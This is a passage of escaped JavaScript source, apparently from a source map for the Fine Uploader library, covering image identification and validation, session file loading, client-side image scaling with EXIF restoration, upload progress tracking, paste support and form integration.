\"blob\" : fileOrBlob.name;\n\n            if (isRecognizedImage) {\n                if (fileMime === \"image/tiff\") {\n                    previewable = qq.supportedFeatures.tiffPreviews;\n                }\n                else {\n                    previewable = true;\n                }\n            }\n\n            !previewable && log(name + \" is not previewable in this browser per the blob's type attr\");\n\n            return previewable;\n        }\n    });\n};\n\nqq.Identify.prototype.PREVIEWABLE_MIME_TYPES = {\n    \"image/jpeg\": \"ffd8ff\",\n    \"image/gif\": \"474946\",\n    \"image/png\": \"89504e\",\n    \"image/bmp\": \"424d\",\n    \"image/tiff\": [\"49492a00\", \"4d4d002a\"]\n};\n","/*globals qq*/\n/**\n * Attempts to validate an image, wherever possible.\n *\n * @param blob File or Blob representing a user-selecting image.\n * @param log Uses this to post log messages to the console.\n * @constructor\n */\nqq.ImageValidation = function(blob, log) {\n    \"use strict\";\n\n    /**\n     * @param limits Object with possible image-related limits to enforce.\n     * @returns {boolean} true if at least one of the limits has a non-zero value\n     */\n    function hasNonZeroLimits(limits) {\n        var atLeastOne = false;\n\n        qq.each(limits, function(limit, value) {\n            if (value > 0) {\n                atLeastOne = true;\n                return false;\n            }\n        });\n\n        return atLeastOne;\n    }\n\n    /**\n     * @returns {qq.Promise} The promise is a failure if we can't obtain the width & height.\n     * Otherwise, `success` is called on the returned promise with an object containing\n     * `width` and `height` properties.\n     */\n    function getWidthHeight() {\n        var sizeDetermination = new qq.Promise();\n\n        new qq.Identify(blob, log).isPreviewable().then(function() {\n            var image = new Image(),\n                url = window.URL && window.URL.createObjectURL ? window.URL :\n                      window.webkitURL && window.webkitURL.createObjectURL ? window.webkitURL :\n                      null;\n\n            if (url) {\n                image.onerror = function() {\n                    log(\"Cannot determine dimensions for image.  May be too large.\", \"error\");\n                    sizeDetermination.failure();\n                };\n\n                image.onload = function() {\n                    sizeDetermination.success({\n                        width: this.width,\n                        height: this.height\n                    });\n                };\n\n                image.src = url.createObjectURL(blob);\n            }\n            else {\n                log(\"No createObjectURL function available to generate image URL!\", \"error\");\n                sizeDetermination.failure();\n            }\n        }, sizeDetermination.failure);\n\n        return sizeDetermination;\n    }\n\n    /**\n     *\n     * @param limits Object with possible image-related limits to enforce.\n     * @param dimensions Object containing `width` & `height` properties for the image to test.\n     * @returns {String || undefined} The name of the failing limit.  Undefined if no failing limits.\n     */\n    function getFailingLimit(limits, dimensions) {\n        var failingLimit;\n\n        qq.each(limits, function(limitName, limitValue) {\n            if (limitValue > 0) {\n                var limitMatcher = /(max|min)(Width|Height)/.exec(limitName),\n                    dimensionPropName = limitMatcher[2].charAt(0).toLowerCase() + limitMatcher[2].slice(1),\n                    actualValue = dimensions[dimensionPropName];\n\n                /*jshint -W015*/\n                switch (limitMatcher[1]) {\n                    case \"min\":\n                        if (actualValue < limitValue) {\n                            failingLimit = limitName;\n                            return false;\n                        }\n                        break;\n                    case \"max\":\n                        if (actualValue > limitValue) {\n                            failingLimit = limitName;\n                            return false;\n                        }\n                        break;\n                }\n            }\n        });\n\n        return failingLimit;\n    }\n\n    /**\n     * Validate the associated blob.\n     *\n     * @param limits\n     * @returns {qq.Promise} `success` is called on the promise is the image is valid or\n     * if the blob is not an image, or if the image is not verifiable.\n     * Otherwise, `failure` with the name of the failing limit.\n     */\n    this.validate = function(limits) {\n        var validationEffort = new qq.Promise();\n\n        log(\"Attempting to validate image.\");\n\n        if (hasNonZeroLimits(limits)) {\n            getWidthHeight().then(function(dimensions) {\n                var failingLimit = getFailingLimit(limits, dimensions);\n\n                if (failingLimit) {\n                    validationEffort.failure(failingLimit);\n                }\n                else {\n                    validationEffort.success();\n                }\n            }, validationEffort.success);\n        }\n        else {\n            validationEffort.success();\n        }\n\n        return validationEffort;\n    };\n};\n","/* globals qq */\n/**\n * Module used to control populating the initial list of files.\n *\n * @constructor\n */\nqq.Session = function(spec) {\n    \"use strict\";\n\n    var options = {\n        endpoint: null,\n        params: {},\n        customHeaders: {},\n        cors: {},\n        addFileRecord: function(sessionData) {},\n        log: function(message, level) {}\n    };\n\n    qq.extend(options, spec, true);\n\n    function isJsonResponseValid(response) {\n        if (qq.isArray(response)) {\n            return true;\n        }\n\n        options.log(\"Session response is not an array.\", \"error\");\n    }\n\n    function handleFileItems(fileItems, success, xhrOrXdr, promise) {\n        var someItemsIgnored = false;\n\n        success = success && isJsonResponseValid(fileItems);\n\n        if (success) {\n            qq.each(fileItems, function(idx, fileItem) {\n                /* jshint eqnull:true */\n                if (fileItem.uuid == null) {\n                    someItemsIgnored = true;\n                    options.log(qq.format(\"Session response item {} did not include a valid UUID - ignoring.\", idx), \"error\");\n                }\n                else if (fileItem.name == null) {\n                    someItemsIgnored = true;\n                    options.log(qq.format(\"Session response item {} did not include a valid name - ignoring.\", idx), \"error\");\n                }\n                else {\n                    try {\n                        options.addFileRecord(fileItem);\n                        return true;\n                    }\n                    catch (err) {\n                        someItemsIgnored = true;\n                        options.log(err.message, \"error\");\n                    }\n                }\n\n                return false;\n            });\n        }\n\n        promise[success && !someItemsIgnored ? \"success\" : \"failure\"](fileItems, xhrOrXdr);\n    }\n\n    // Initiate a call to the server that will be used to populate the initial file list.\n    // Returns a `qq.Promise`.\n    this.refresh = function() {\n        /*jshint indent:false */\n        var refreshEffort = new qq.Promise(),\n            refreshCompleteCallback = function(response, success, xhrOrXdr) {\n                handleFileItems(response, success, xhrOrXdr, refreshEffort);\n            },\n            requesterOptions = qq.extend({}, options),\n            requester = new qq.SessionAjaxRequester(\n                qq.extend(requesterOptions, {onComplete: refreshCompleteCallback})\n            );\n\n        requester.queryServer();\n\n        return refreshEffort;\n    };\n};\n","/*globals qq, XMLHttpRequest*/\n/**\n * Thin module used to send GET requests to the server, expecting information about session\n * data used to initialize an uploader instance.\n *\n * @param spec Various options used to influence the associated request.\n * @constructor\n */\nqq.SessionAjaxRequester = function(spec) {\n    \"use strict\";\n\n    var requester,\n        options = {\n            endpoint: null,\n            customHeaders: {},\n            params: {},\n            cors: {\n                expected: false,\n                sendCredentials: false\n            },\n            onComplete: function(response, success, xhrOrXdr) {},\n            log: function(str, level) {}\n        };\n\n    qq.extend(options, spec);\n\n    function onComplete(id, xhrOrXdr, isError) {\n        var response = null;\n\n        /* jshint eqnull:true */\n        if (xhrOrXdr.responseText != null) {\n            try {\n                response = qq.parseJson(xhrOrXdr.responseText);\n            }\n            catch (err) {\n                options.log(\"Problem parsing session response: \" + err.message, \"error\");\n                isError = true;\n            }\n        }\n\n        options.onComplete(response, !isError, xhrOrXdr);\n    }\n\n    requester = qq.extend(this, new qq.AjaxRequester({\n        acceptHeader: \"application/json\",\n        validMethods: [\"GET\"],\n        method: \"GET\",\n        endpointStore: {\n            get: function() {\n                return options.endpoint;\n            }\n        },\n        customHeaders: options.customHeaders,\n        log: options.log,\n        onComplete: onComplete,\n        cors: options.cors\n    }));\n\n    qq.extend(this, {\n        queryServer: function() {\n            var params = qq.extend({}, options.params);\n\n            options.log(\"Session query request.\");\n\n            requester.initTransport(\"sessionRefresh\")\n                .withParams(params)\n                .withCacheBuster()\n                .send();\n        }\n    });\n};\n","/* globals qq, ExifRestorer */\n/**\n * Controls generation of scaled images based on a reference image encapsulated in a `File` or `Blob`.\n * Scaled images are generated and converted to blobs on-demand.\n * Multiple scaled images per reference image with varying sizes and other properties are supported.\n *\n * @param spec Information about the scaled images to generate.\n * @param log Logger instance\n * @constructor\n */\nqq.Scaler = function(spec, log) {\n    \"use strict\";\n\n    var self = this,\n        customResizeFunction = spec.customResizer,\n        includeOriginal = spec.sendOriginal,\n        orient = spec.orient,\n        defaultType = spec.defaultType,\n        defaultQuality = spec.defaultQuality / 100,\n        failedToScaleText = spec.failureText,\n        includeExif = spec.includeExif,\n        sizes = this._getSortedSizes(spec.sizes);\n\n    // Revealed API for instances of this module\n    qq.extend(this, {\n        // If no targeted sizes have been declared or if this browser doesn't support\n        // client-side image preview generation, there is no scaling to do.\n        enabled: qq.supportedFeatures.scaling && sizes.length > 0,\n\n        getFileRecords: function(originalFileUuid, originalFileName, originalBlobOrBlobData) {\n            var self = this,\n                records = [],\n                originalBlob = originalBlobOrBlobData.blob ? originalBlobOrBlobData.blob : originalBlobOrBlobData,\n                identifier = new qq.Identify(originalBlob, log);\n\n            // If the reference file cannot be rendered natively, we can't create scaled versions.\n            if (identifier.isPreviewableSync()) {\n                // Create records for each scaled version & add them to the records array, smallest first.\n                qq.each(sizes, function(idx, sizeRecord) {\n                    var outputType = self._determineOutputType({\n                        defaultType: defaultType,\n                        requestedType: sizeRecord.type,\n                        refType: originalBlob.type\n                    });\n\n                    records.push({\n                        uuid: qq.getUniqueId(),\n                        name: self._getName(originalFileName, {\n                            name: sizeRecord.name,\n                            type: outputType,\n                            refType: originalBlob.type\n                        }),\n                        blob: new qq.BlobProxy(originalBlob,\n                        qq.bind(self._generateScaledImage, self, {\n                            customResizeFunction: customResizeFunction,\n                            maxSize: sizeRecord.maxSize,\n                            orient: orient,\n                            type: outputType,\n                            quality: defaultQuality,\n                            failedText: failedToScaleText,\n                            includeExif: includeExif,\n                            log: log\n                        }))\n                    });\n                });\n\n                records.push({\n                    uuid: originalFileUuid,\n                    name: originalFileName,\n                    size: originalBlob.size,\n                    blob: includeOriginal ? originalBlob : null\n                });\n            }\n            else {\n                records.push({\n                    uuid: originalFileUuid,\n                    name: originalFileName,\n                    size: originalBlob.size,\n                    blob: originalBlob\n                });\n            }\n\n            return records;\n        },\n\n        handleNewFile: function(file, name, uuid, size, fileList, batchId, uuidParamName, api) {\n            var self = this,\n                buttonId = file.qqButtonId || (file.blob && file.blob.qqButtonId),\n                scaledIds = [],\n                originalId = null,\n                addFileToHandler = api.addFileToHandler,\n                uploadData = api.uploadData,\n                paramsStore = api.paramsStore,\n                proxyGroupId = qq.getUniqueId();\n\n            qq.each(self.getFileRecords(uuid, name, file), function(idx, record) {\n                var blobSize = record.size,\n                    id;\n\n                if (record.blob instanceof qq.BlobProxy) {\n                    blobSize = -1;\n                }\n\n                id = uploadData.addFile({\n                    uuid: record.uuid,\n                    name: record.name,\n                    size: blobSize,\n                    batchId: batchId,\n                    proxyGroupId: proxyGroupId\n                });\n\n                if (record.blob instanceof qq.BlobProxy) {\n                    scaledIds.push(id);\n                }\n                else {\n                    originalId = id;\n                }\n\n                if (record.blob) {\n                    addFileToHandler(id, record.blob);\n                    fileList.push({id: id, file: record.blob});\n                }\n                else {\n                    uploadData.setStatus(id, qq.status.REJECTED);\n                }\n            });\n\n            // If we are potentially uploading an original file and some scaled versions,\n            // ensure the scaled versions include reference's to the parent's UUID and size\n            // in their associated upload requests.\n            if (originalId !== null) {\n                qq.each(scaledIds, function(idx, scaledId) {\n                    var params = {\n                        qqparentuuid: uploadData.retrieve({id: originalId}).uuid,\n                        qqparentsize: uploadData.retrieve({id: originalId}).size\n                    };\n\n                    // Make sure the UUID for each scaled image is sent with the upload request,\n                    // to be consistent (since we may need to ensure it is sent for the original file as well).\n                    params[uuidParamName] = uploadData.retrieve({id: scaledId}).uuid;\n\n                    uploadData.setParentId(scaledId, originalId);\n                    paramsStore.addReadOnly(scaledId, params);\n                });\n\n                // If any scaled images are tied to this parent image, be SURE we send its UUID as an upload request\n                // parameter as well.\n                if (scaledIds.length) {\n                    (function() {\n                        var param = {};\n                        param[uuidParamName] = uploadData.retrieve({id: originalId}).uuid;\n                        paramsStore.addReadOnly(originalId, param);\n                    }());\n                }\n            }\n        }\n    });\n};\n\nqq.extend(qq.Scaler.prototype, {\n    scaleImage: function(id, specs, api) {\n        \"use strict\";\n\n        if (!qq.supportedFeatures.scaling) {\n            throw new qq.Error(\"Scaling is not supported in this browser!\");\n        }\n\n        var scalingEffort = new qq.Promise(),\n            log = api.log,\n            file = api.getFile(id),\n            uploadData = api.uploadData.retrieve({id: id}),\n            name = uploadData && uploadData.name,\n            uuid = uploadData && uploadData.uuid,\n            scalingOptions = {\n                customResizer: specs.customResizer,\n                sendOriginal: false,\n                orient: specs.orient,\n                defaultType: specs.type || null,\n                defaultQuality: specs.quality,\n                failedToScaleText: \"Unable to scale\",\n                sizes: [{name: \"\", maxSize: specs.maxSize}]\n            },\n            scaler = new qq.Scaler(scalingOptions, log);\n\n        if (!qq.Scaler || !qq.supportedFeatures.imagePreviews || !file) {\n            scalingEffort.failure();\n\n            log(\"Could not generate requested scaled image for \" + id + \".  \" +\n                \"Scaling is either not possible in this browser, or the file could not be located.\", \"error\");\n        }\n        else {\n            (qq.bind(function() {\n                // Assumption: There will never be more than one record\n                var record = scaler.getFileRecords(uuid, name, file)[0];\n\n                if (record && record.blob instanceof qq.BlobProxy) {\n                    record.blob.create().then(scalingEffort.success, scalingEffort.failure);\n                }\n                else {\n                    log(id + \" is not a scalable image!\", \"error\");\n                    scalingEffort.failure();\n                }\n            }, this)());\n        }\n\n        return scalingEffort;\n    },\n\n    // NOTE: We cannot reliably determine at this time if the UA supports a specific MIME type for the target format.\n    // image/jpeg and image/png are the only safe choices at this time.\n    _determineOutputType: function(spec) {\n        \"use strict\";\n\n        var requestedType = spec.requestedType,\n            defaultType = spec.defaultType,\n            referenceType = spec.refType;\n\n        // If a default type and requested type have not been specified, this should be a\n        // JPEG if the original type is a JPEG, otherwise, a PNG.\n        if (!defaultType && !requestedType) {\n            if (referenceType !== \"image/jpeg\") {\n                return \"image/png\";\n            }\n            return referenceType;\n        }\n\n        // A specified default type is used when a requested type is not specified.\n        if (!requestedType) {\n            return defaultType;\n        }\n\n        // If requested type is specified, use it, as long as this recognized type is supported by the current UA\n        if (qq.indexOf(Object.keys(qq.Identify.prototype.PREVIEWABLE_MIME_TYPES), requestedType) >= 0) {\n            if (requestedType === \"image/tiff\") {\n                return qq.supportedFeatures.tiffPreviews ? requestedType : defaultType;\n            }\n\n            return requestedType;\n        }\n\n        return defaultType;\n    },\n\n    // Get a file name for a generated scaled file record, based on the provided scaled image description\n    _getName: function(originalName, scaledVersionProperties) {\n        \"use strict\";\n\n        var startOfExt = originalName.lastIndexOf(\".\"),\n            versionType = scaledVersionProperties.type || \"image/png\",\n            referenceType = scaledVersionProperties.refType,\n            scaledName = \"\",\n            scaledExt = qq.getExtension(originalName),\n            nameAppendage = \"\";\n\n        if (scaledVersionProperties.name && scaledVersionProperties.name.trim().length) {\n            nameAppendage = \" (\" + scaledVersionProperties.name + \")\";\n        }\n\n        if (startOfExt >= 0) {\n            scaledName = originalName.substr(0, startOfExt);\n\n            if (referenceType !== versionType) {\n                scaledExt = versionType.split(\"/\")[1];\n            }\n\n            scaledName += nameAppendage + \".\" + scaledExt;\n        }\n        else {\n            scaledName = originalName + nameAppendage;\n        }\n\n        return scaledName;\n    },\n\n    // We want the smallest scaled file to be uploaded first\n    _getSortedSizes: function(sizes) {\n        \"use strict\";\n\n        sizes = qq.extend([], sizes);\n\n        return sizes.sort(function(a, b) {\n            if (a.maxSize > b.maxSize) {\n                return 1;\n            }\n            if (a.maxSize < b.maxSize) {\n                return -1;\n            }\n            return 0;\n        });\n    },\n\n    _generateScaledImage: function(spec, sourceFile) {\n        \"use strict\";\n\n        var self = this,\n            customResizeFunction = spec.customResizeFunction,\n            log = spec.log,\n            maxSize = spec.maxSize,\n            orient = spec.orient,\n            type = spec.type,\n            quality = spec.quality,\n            failedText = spec.failedText,\n            includeExif = spec.includeExif && sourceFile.type === \"image/jpeg\" && type === \"image/jpeg\",\n            scalingEffort = new qq.Promise(),\n            imageGenerator = new qq.ImageGenerator(log),\n            canvas = document.createElement(\"canvas\");\n\n        log(\"Attempting to generate scaled version for \" + sourceFile.name);\n\n        imageGenerator.generate(sourceFile, canvas, {maxSize: maxSize, orient: orient, customResizeFunction: customResizeFunction}).then(function() {\n            var scaledImageDataUri = canvas.toDataURL(type, quality),\n                signalSuccess = function() {\n                    log(\"Success generating scaled version for \" + sourceFile.name);\n                    var blob = qq.dataUriToBlob(scaledImageDataUri);\n                    scalingEffort.success(blob);\n                };\n\n            if (includeExif) {\n                self._insertExifHeader(sourceFile, scaledImageDataUri, log).then(function(scaledImageDataUriWithExif) {\n                    scaledImageDataUri = scaledImageDataUriWithExif;\n                    signalSuccess();\n                },\n                function() {\n                    log(\"Problem inserting EXIF header into scaled image.  Using scaled image w/out EXIF data.\", \"error\");\n                    signalSuccess();\n                });\n            }\n            else {\n                signalSuccess();\n            }\n        }, function() {\n            log(\"Failed attempt to generate scaled version for \" + sourceFile.name, \"error\");\n            scalingEffort.failure(failedText);\n        });\n\n        return scalingEffort;\n    },\n\n    // Attempt to insert the original image's EXIF header into a scaled version.\n    _insertExifHeader: function(originalImage, scaledImageDataUri, log) {\n        \"use strict\";\n\n        var reader = new FileReader(),\n            insertionEffort = new qq.Promise(),\n            originalImageDataUri = \"\";\n\n        reader.onload = function() {\n            originalImageDataUri = reader.result;\n            insertionEffort.success(qq.ExifRestorer.restore(originalImageDataUri, scaledImageDataUri));\n        };\n\n        reader.onerror = function() {\n            log(\"Problem reading \" + originalImage.name + \" during attempt to transfer EXIF data to scaled version.\", \"error\");\n            insertionEffort.failure();\n        };\n\n        reader.readAsDataURL(originalImage);\n\n        return insertionEffort;\n    },\n\n    _dataUriToBlob: function(dataUri) {\n        \"use strict\";\n\n        var byteString, mimeString, arrayBuffer, intArray;\n\n        // convert base64 to raw binary data held in a string\n        if (dataUri.split(\",\")[0].indexOf(\"base64\") >= 0) {\n            byteString = atob(dataUri.split(\",\")[1]);\n        }\n        else {\n            byteString = decodeURI(dataUri.split(\",\")[1]);\n        }\n\n        // extract the MIME\n        mimeString = dataUri.split(\",\")[0]\n            .split(\":\")[1]\n            .split(\";\")[0];\n\n        // write the bytes of the binary string to an ArrayBuffer\n        arrayBuffer = new ArrayBuffer(byteString.length);\n        intArray = new Uint8Array(arrayBuffer);\n        qq.each(byteString, function(idx, character) {\n            intArray[idx] = character.charCodeAt(0);\n        });\n\n        return this._createBlob(arrayBuffer, mimeString);\n    },\n\n    _createBlob: function(data, mime) {\n        \"use strict\";\n\n        var BlobBuilder = window.BlobBuilder ||\n                window.WebKitBlobBuilder ||\n                window.MozBlobBuilder ||\n                window.MSBlobBuilder,\n            blobBuilder = BlobBuilder && new BlobBuilder();\n\n        if (blobBuilder) {\n            blobBuilder.append(data);\n            return blobBuilder.getBlob(mime);\n        }\n        else {\n            return new Blob([data], {type: mime});\n        }\n    }\n});\n","//Based on MinifyJpeg\n//http://elicon.blog57.fc2.com/blog-entry-206.html\n\nqq.ExifRestorer = (function()\n{\n   \n\tvar ExifRestorer = {};\n\t \n    ExifRestorer.KEY_STR = \"ABCDEFGHIJKLMNOP\" +\n                         \"QRSTUVWXYZabcdef\" +\n                         \"ghijklmnopqrstuv\" +\n                         \"wxyz0123456789+/\" +\n                         \"=\";\n\n    ExifRestorer.encode64 = function(input)\n    {\n        var output = \"\",\n            chr1, chr2, chr3 = \"\",\n            enc1, enc2, enc3, enc4 = \"\",\n            i = 0;\n\n        do {\n            chr1 = input[i++];\n            chr2 = input[i++];\n            chr3 = input[i++];\n\n            enc1 = chr1 >> 2;\n            enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);\n            enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);\n            enc4 = chr3 & 63;\n\n            if (isNaN(chr2)) {\n               enc3 = enc4 = 64;\n            } else if (isNaN(chr3)) {\n               enc4 = 64;\n            }\n\n            output = output +\n               this.KEY_STR.charAt(enc1) +\n               this.KEY_STR.charAt(enc2) +\n               this.KEY_STR.charAt(enc3) +\n               this.KEY_STR.charAt(enc4);\n            chr1 = chr2 = chr3 = \"\";\n            enc1 = enc2 = enc3 = enc4 = \"\";\n        } while (i < input.length);\n\n        return output;\n    };\n    \n    ExifRestorer.restore = function(origFileBase64, resizedFileBase64)\n    {\n        var expectedBase64Header = \"data:image/jpeg;base64,\";\n\n        if (!origFileBase64.match(expectedBase64Header))\n        {\n        \treturn resizedFileBase64;\n        }       \n        \n        var rawImage = this.decode64(origFileBase64.replace(expectedBase64Header, \"\"));\n        var segments = this.slice2Segments(rawImage);\n                \n        var image = this.exifManipulation(resizedFileBase64, segments);\n        \n        return expectedBase64Header + this.encode64(image);\n        \n    };\n\n\n    ExifRestorer.exifManipulation = function(resizedFileBase64, segments)\n    {\n            var exifArray = this.getExifArray(segments),\n                newImageArray = this.insertExif(resizedFileBase64, exifArray),\n                aBuffer = new Uint8Array(newImageArray);\n\n            return aBuffer;\n    };\n\n\n    ExifRestorer.getExifArray = function(segments)\n    {\n            var seg;\n            for (var x = 0; x < segments.length; x++)\n            {\n                seg = segments[x];\n                if (seg[0] == 255 & seg[1] == 225) //(ff e1)\n                {\n                    return seg;\n                }\n            }\n            return [];\n    };\n\n\n    ExifRestorer.insertExif = function(resizedFileBase64, exifArray)\n    {\n            var imageData = resizedFileBase64.replace(\"data:image/jpeg;base64,\", \"\"),\n                buf = this.decode64(imageData),\n                separatePoint = buf.indexOf(255,3),\n                mae = buf.slice(0, separatePoint),\n                ato = buf.slice(separatePoint),\n                array = mae;\n\n            array = array.concat(exifArray);\n            array = array.concat(ato);\n           return array;\n    };\n\n\n    \n    ExifRestorer.slice2Segments = function(rawImageArray)\n    {\n        var head = 0,\n            segments = [];\n\n        while (1)\n        {\n            if (rawImageArray[head] == 255 & rawImageArray[head + 1] == 218){break;}\n            if (rawImageArray[head] == 255 & rawImageArray[head + 1] == 216)\n            {\n                head += 2;\n            }\n            else\n            {\n                var length = rawImageArray[head + 2] * 256 + rawImageArray[head + 3],\n                    endPoint = head + length + 2,\n                    seg = rawImageArray.slice(head, endPoint);\n                segments.push(seg);\n                head = endPoint;\n            }\n            if (head > rawImageArray.length){break;}\n        }\n\n        return segments;\n    };\n\n\n    \n    ExifRestorer.decode64 = function(input) \n    {\n        var output = \"\",\n            chr1, chr2, chr3 = \"\",\n            enc1, enc2, enc3, enc4 = \"\",\n            i = 0,\n            buf = [];\n\n        // remove all characters that are not A-Z, a-z, 0-9, +, /, or =\n        var base64test = /[^A-Za-z0-9\\+\\/\\=]/g;\n        if (base64test.exec(input)) {\n            throw new Error(\"There were invalid base64 characters in the input text.  \" +\n                \"Valid base64 characters are A-Z, a-z, 0-9, '+', '/',and '='\");\n        }\n        input = input.replace(/[^A-Za-z0-9\\+\\/\\=]/g, \"\");\n\n        do {\n            enc1 = this.KEY_STR.indexOf(input.charAt(i++));\n            enc2 = this.KEY_STR.indexOf(input.charAt(i++));\n            enc3 = this.KEY_STR.indexOf(input.charAt(i++));\n            enc4 = this.KEY_STR.indexOf(input.charAt(i++));\n\n            chr1 = (enc1 << 2) | (enc2 >> 4);\n            chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);\n            chr3 = ((enc3 & 3) << 6) | enc4;\n\n            buf.push(chr1);\n\n            if (enc3 != 64) {\n               buf.push(chr2);\n            }\n            if (enc4 != 64) {\n               buf.push(chr3);\n            }\n\n            chr1 = chr2 = chr3 = \"\";\n            enc1 = enc2 = enc3 = enc4 = \"\";\n\n        } while (i < input.length);\n\n        return buf;\n    };\n\n    \n    return ExifRestorer;\n})();\n","/* globals qq */\n/**\n * Keeps a running tally of total upload progress for a batch of files.\n *\n * @param callback Invoked when total progress changes, passing calculated total loaded & total size values.\n * @param getSize Function that returns the size of a file given its ID\n * @constructor\n */\nqq.TotalProgress = function(callback, getSize) {\n    \"use strict\";\n\n    var perFileProgress = {},\n        totalLoaded = 0,\n        totalSize = 0,\n\n        lastLoadedSent = -1,\n        lastTotalSent = -1,\n        callbackProxy = function(loaded, total) {\n            if (loaded !== lastLoadedSent || total !== lastTotalSent) {\n                callback(loaded, total);\n            }\n\n            lastLoadedSent = loaded;\n            lastTotalSent = total;\n        },\n\n        /**\n         * @param failed Array of file IDs that have failed\n         * @param retryable Array of file IDs that are retryable\n         * @returns true if none of the failed files are eligible for retry\n         */\n        noRetryableFiles = function(failed, retryable) {\n            var none = true;\n\n            qq.each(failed, function(idx, failedId) {\n                if (qq.indexOf(retryable, failedId) >= 0) {\n                    none = false;\n                    return false;\n                }\n            });\n\n            return none;\n        },\n\n        onCancel = function(id) {\n            updateTotalProgress(id, -1, -1);\n            delete perFileProgress[id];\n        },\n\n        onAllComplete = function(successful, failed, retryable) {\n            if (failed.length === 0 || noRetryableFiles(failed, retryable)) {\n                callbackProxy(totalSize, totalSize);\n                this.reset();\n            }\n        },\n\n        onNew = function(id) {\n            var size = getSize(id);\n\n            // We might not know the size yet, such as for blob proxies\n            if (size > 0) {\n                updateTotalProgress(id, 0, size);\n                perFileProgress[id] = {loaded: 0, total: size};\n            }\n        },\n\n        /**\n         * Invokes the callback with the current total progress of all files in the batch.  Called whenever it may\n         * be appropriate to re-calculate and disseminate this data.\n         *\n         * @param id ID of a file that has changed in some important way\n         * @param newLoaded New loaded value for this file.  -1 if this value should no longer be part of calculations\n         * @param newTotal New total size of the file.  -1 if this value should no longer be part of calculations\n         */\n        updateTotalProgress = function(id, newLoaded, newTotal) {\n            var oldLoaded = perFileProgress[id] ? perFileProgress[id].loaded : 0,\n                oldTotal = perFileProgress[id] ? perFileProgress[id].total : 0;\n\n            if (newLoaded === -1 && newTotal === -1) {\n                totalLoaded -= oldLoaded;\n                totalSize -= oldTotal;\n            }\n            else {\n                if (newLoaded) {\n                    totalLoaded += newLoaded - oldLoaded;\n                }\n                if (newTotal) {\n                    totalSize += newTotal - oldTotal;\n                }\n            }\n\n            callbackProxy(totalLoaded, totalSize);\n        };\n\n    qq.extend(this, {\n        // Called when a batch of files has completed uploading.\n        onAllComplete: onAllComplete,\n\n        // Called when the status of a file has changed.\n        onStatusChange: function(id, oldStatus, newStatus) {\n            if (newStatus === qq.status.CANCELED || newStatus === qq.status.REJECTED) {\n                onCancel(id);\n            }\n            else if (newStatus === qq.status.SUBMITTING) {\n                onNew(id);\n            }\n        },\n\n        // Called whenever the upload progress of an individual file has changed.\n        onIndividualProgress: function(id, loaded, total) {\n            updateTotalProgress(id, loaded, total);\n            perFileProgress[id] = {loaded: loaded, total: total};\n        },\n\n        // Called whenever the total size of a file has changed, such as when the size of a generated blob is known.\n        onNewSize: function(id) {\n            onNew(id);\n        },\n\n        reset: function() {\n            perFileProgress = {};\n            totalLoaded = 0;\n            totalSize = 0;\n        }\n    });\n};\n","/*globals qq*/\nqq.PasteSupport = function(o) {\n    \"use strict\";\n\n    var options, detachPasteHandler;\n\n    options = {\n        targetElement: null,\n        callbacks: {\n            log: function(message, level) {},\n            pasteReceived: function(blob) {}\n        }\n    };\n\n    function isImage(item) {\n        return item.type &&\n            item.type.indexOf(\"image/\") === 0;\n    }\n\n    function registerPasteHandler() {\n        detachPasteHandler = qq(options.targetElement).attach(\"paste\", function(event) {\n            var clipboardData = event.clipboardData;\n\n            if (clipboardData) {\n                qq.each(clipboardData.items, function(idx, item) {\n                    if (isImage(item)) {\n                        var blob = item.getAsFile();\n                        options.callbacks.pasteReceived(blob);\n                    }\n                });\n            }\n        });\n    }\n\n    function unregisterPasteHandler() {\n        if (detachPasteHandler) {\n            detachPasteHandler();\n        }\n    }\n\n    qq.extend(options, o);\n    registerPasteHandler();\n\n    qq.extend(this, {\n        reset: function() {\n            unregisterPasteHandler();\n        }\n    });\n};\n","/* globals qq */\n/**\n * Module that handles support for existing forms.\n *\n * @param options Options passed from the integrator-supplied options related to form support.\n * @param startUpload Callback to invoke when files \"stored\" should be uploaded.\n * @param log Proxy for the logger\n * @constructor\n */\nqq.FormSupport = function(options, startUpload, log) {\n    \"use strict\";\n    var self  = this,\n        interceptSubmit = options.interceptSubmit,\n        formEl = options.element,\n        autoUpload = options.autoUpload;\n\n    // Available on the public API associated with this module.\n    qq.extend(this, {\n        // To be used by the caller to determine if the endpoint will be determined by some processing\n        // that occurs in this module, such as if the form has an action attribute.\n        // Ignore if `attachToForm === false`.\n        newEndpoint: null,\n\n        // To be used by the caller to determine if auto uploading should be allowed.\n        // Ignore if `attachToForm === false`.\n        newAutoUpload: autoUpload,\n\n        // true if a form was detected and is being tracked by this module\n        attachedToForm: false,\n\n        // Returns an object with names and values for all valid form elements associated with the attached form.\n        getFormInputsAsObject: function() {\n            /* jshint eqnull:true */\n            if (formEl == null) {\n                return null;\n            }\n\n            return self._form2Obj(formEl);\n        }\n    });\n\n    // If the form contains an action attribute, this should be the new upload endpoint.\n    function determineNewEndpoint(formEl) {\n        if (formEl.getAttribute(\"action\")) {\n            self.newEndpoint = formEl.getAttribute(\"action\");\n        }\n    }\n\n    // Return true only if the form is valid, or if we cannot make this determination.\n    // If the form is invalid, ensure invalid field(s) are highlighted in the UI.\n    function validateForm(formEl, nativeSubmit) {\n        if (formEl.checkValidity && !formEl.checkValidity()) {\n            log(\"Form did not pass validation checks - will not upload.\", \"error\");\n            nativeSubmit();\n        }\n        else {\n            return true;\n        }\n    }\n\n    // Intercept form submit attempts, unless the integrator has told us not to do this.\n    function maybeUploadOnSubmit(formEl) {\n        var nativeSubmit = formEl.submit;\n\n        // Intercept and squelch submit events.\n        qq(formEl).attach(\"submit\", function(event) {\n            event = event || window.event;\n\n            if (event.preventDefault) {\n                event.preventDefault();\n            }\n            else {\n                event.returnValue = false;\n            }\n\n            validateForm(formEl, nativeSubmit) && startUpload();\n        });\n\n        // The form's `submit()` function may be called instead (i.e. via jQuery.submit()).\n        // Intercept that too.\n        formEl.submit = function() {\n            validateForm(formEl, nativeSubmit) && startUpload();\n        };\n    }\n\n    // If the element value passed from the uploader is a string, assume it is an element ID - select it.\n    // The rest of the code in this module depends on this being an HTMLElement.\n    function determineFormEl(formEl) {\n        if (formEl) {\n            if (qq.isString(formEl)) {\n                formEl = document.getElementById(formEl);\n            }\n\n            if (formEl) {\n                log(\"Attaching to form element.\");\n                determineNewEndpoint(formEl);\n                interceptSubmit && maybeUploadOnSubmit(formEl);\n            }\n        }\n\n        return formEl;\n    }\n\n    formEl = 